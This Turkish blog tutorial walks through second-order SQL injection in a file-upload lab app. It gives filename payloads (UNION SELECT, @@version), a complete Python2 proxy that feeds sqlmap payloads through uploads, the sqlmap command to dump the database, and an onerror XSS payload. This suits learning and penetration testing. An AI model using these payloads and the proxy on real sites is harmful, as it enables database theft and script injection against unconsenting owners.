2.Dereceden SQL Injection


Herkese merhabalar. Bildiğiniz gibi bu sene kpss'ye hazırlanıyorum. Matematik çalışırken 2.dereceden denklemler denk geldi. Benimde aklıma 2.dereceden SQL Injection olayını anlatayım dedim. Şimdi aklınızda 2.derecede Sql Injection nedir? sorusu gelebilir. İsterseniz başlayalım:
2.Dereceden SQL Injection; bir SQL injection sorgusu bir girdi parametresiyle uygulamaya enjekte edildiğinde gerçekleşir, ancak yük, parametrenin enjekte edildiği aynı sorguya dahil edilmez, ancak bu niteliği kullanan başka bir sorguya enjekte edilir. Sonuç olarak, enjeksiyon ve cevap web sitesinin farklı bölümlerinde gerçekleşmektedir. Yani bildiğimiz sql injection olaylarından farkı enjeksyion edilen kısım ile parametre farklı alanda çalışır. Şimdi uygulamaya başlayalım.
Şimdi aşağıda ki gibi sistemde upload.php var diyelim.

Sisteme dosya yüklediğimde index.php'ye gittiğimizde aşağıdaki gibi yüklediğimiz resimler gösterilir.

Bir web penetrasyon testinde SQLMap'i önceki bir analiz olmadan çalıştırmak oldukça yaygındır ancak etkili değildir. Test etmenin en iyi yolu, benim görüşüme göre, ilk önce manuel enjeksiyon yapmayı denemek ve ilerlediğinde işi sqlmap'a bırakmak..:)
İlk olarak, uygulamanın savunmasız olup olmadığını anlamaya çalışmak için bu durumda temel bir karakter enjeksiyonu yeterlidir. İstek, dosya adının yeniden adlandırıldığı bir veri bloğu ile yakalandı Jake'.png şeklinde düzenledik. Sonuç şudur:

İyi bakarsanız view kısmında değer yazması gerekirken herhangi bir şey yazmamış. Sayaç bunu sorgularken bir hata almış olabilir. Biz ismini sql payloadı olarak değiştirirsek belki farklı birşeyler elde edebiliriz. Mesela Jake ' or '1'='1'#.png ismini böyle olarak düzenleyerek yükleyelim. Ve sonuç:


Ve istediğimiz sonucu elde etmiş olduk. Burada bir sql payloadı sisteme enjekte edebiliyoruz. Veri çekim işlemini hızlandırmak için payloadımızı şöyle düzenleyelim. Jake ' UNION SELECT 101,102,103,104#.png Ve sonuç:

Üçüncü değerde (103) eklenen sorgunun bize cevap verebileceğini görüyoruz ve payloadımızı şöyle düzenliyoruz. Jake ' UNION SELECT 101,102,@@version,104#.png Ve sonuç:


Şimdi gelelim Veritabanını dump etmeye;

Şimdi sqlmap aracımızı kullanmaya başlayabiliriz. Ama şimdi ki sıkıntımız şu; enjeksiyon kısmı create.php'den başlayıp index.php ye POST isteği göndererek son noktamız index.php'de sql injecton olayını gördük.
SQLMAP'ta --second-url ve --second-req= parametresi bu durumlarda yeterli olmayabilir. Böyle durumda bizi her zaman başarıya ulaştırmayabilir. Burda özel bi proxy ile yeterli bir şekilde sistemden veri çekebiliriz.
Burada yapılan işlem şudur:
  1. Sqlmap localhost vekilimize işaret ediyor.
  2. Proxy, dosyayı dosya adı olarak kullanılan veri yükünü kullanarak sunucuya yükler.
  3. Proxy yanıtı alır ve sonucu sqlmap'a sunmak için bir regex yürütür.
  4. Sqlmap, enjeksiyon sağlanana kadar farklı yükleri dener.
Proxy kodu aşağıdaki gibidir (Python2):
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from urlparse import parse_qs
import cgi
import requests
import json
import base64
import urllib
import re

class GP(BaseHTTPRequestHandler):
    def _set_headers(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()
    def do_HEAD(self):
        self._set_headers()
    def do_GET(self):
        self._set_headers()

        # Reading payload
        query = parse_qs(self.path[2:])
        payload = query["payload"][0]
        
        # POST file (CHANGE url_Website)
        url = 'http://url_website/sqli/public/create.php'

        # Uncomment to use a real file (name it 1.jpg in the server.py folder)
        #files = {'file': (payload,open('1.jpg','rb'))}

        # Using a b64 magic number to simulate the file 
        files = {'image': (payload,base64.b64decode('/9g='))}
        

        # Uncomment for Burp interception
        
        '''
        proxies = {
                'http': 'http://127.0.0.1:8080',
                'https': 'http://127.0.0.1:8080'
                }

        r = requests.post(url, files=files, proxies=proxies, verify=False)
        
        '''

        # No Burp interception

        # Get response (CHANGE url_Website)

        r = requests.post(url, files=files, verify=False)

        url = "http://url_Website/sqli/public/index.php"
        response = requests.get(url,verify=False)

        # Replace parenthesis to not break regex
        payload = payload.replace(")", "\)")
        payload = payload.replace("(", "\(")
        # regex to serach the response
        z= re.search('<div class=\"imageDiv\">\n.*\n.*\n.*'+payload+'.*\n.*\n.*<\/div>',str(response.text))

        if z:
            self.wfile.write(z.group(0))

        
        
    def do_POST(self):
        self._set_headers()
        form = cgi.FieldStorage(
            fp=self.rfile,
            headers=self.headers,
            environ={'REQUEST_METHOD': 'POST'}
        )
        print form.getvalue("foo")
        print form.getvalue("bin")
        self.wfile.write("<html><body><h1>POST Request Received!</h1></body></html>")

def run(server_class=HTTPServer, handler_class=GP, port=8088):
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    print 'Server running at localhost:8088...'
    httpd.serve_forever()

run()

SQLmap komutumuz şöyle olmalıdır.
python2 sqlmap.py -u http://localhost:8088/secondsql/?payload= -p payload --suffix="#.png" --technique=U --union-char='hihi' --union-cols=4

-u http://localhost:4464/?payload= : Yerel vekilimiz dosya yükleme ve yanıt alma işlemlerini gerçekleştiriyor.
-p payload : Sqlmap payloadları için kullanılır.
--suffix="#.png"#.png Dosya uzantısının sonunu, dosya uzantısı filtrelerini atlamak ve zorla SQL sözdiziminden kaçınmak için yorum yapmak üzere zorlamaya yarar.
--technique=U: Manuel analizde gösterildiği gibi UNION tekniğini kullanmayı sağlar.
--union-cols=4: Enjeksiyona manuel analizde gösterildiği gibi 4 sütunun kullanımını sağlar.

Uygulama(Poc):



Ekstra bilgi olarak burada XSS hatasıda alabiliriz. Payloadımız şöyle olabilir.
Jake" onerror="alert( `XSS `)" test=".png dosyayı bu adla yüklersek sistemde aşağıdaki gibi xss hatası alabiliriz.

İsmi düzenlerken hata alabilirsiniz. Ama Burp-Suite ile ismini düzenleyip kaydederseniz sql hatasını görebilirsiniz. Bu yazımı da burada bitiriyorum. Kusurumuz hatamız olduysa kusura bakılımasın iyi çalışmalar.

**Haşiye: P0C Uygulama kodlarına erişip uygulamak için tıklayınız

Yorumlar

  1. Gayet güzel anlatım olmuş. Elinize sağlık hocam.

    YanıtlaSil

Yorum Gönder

Bu blogdaki popüler yayınlar

Bazı JavaScript Kütüphaneleri Ve Zafiyetleri

NASA Reflected XSS Write Up

Herşey Bir Tırnakla Başladı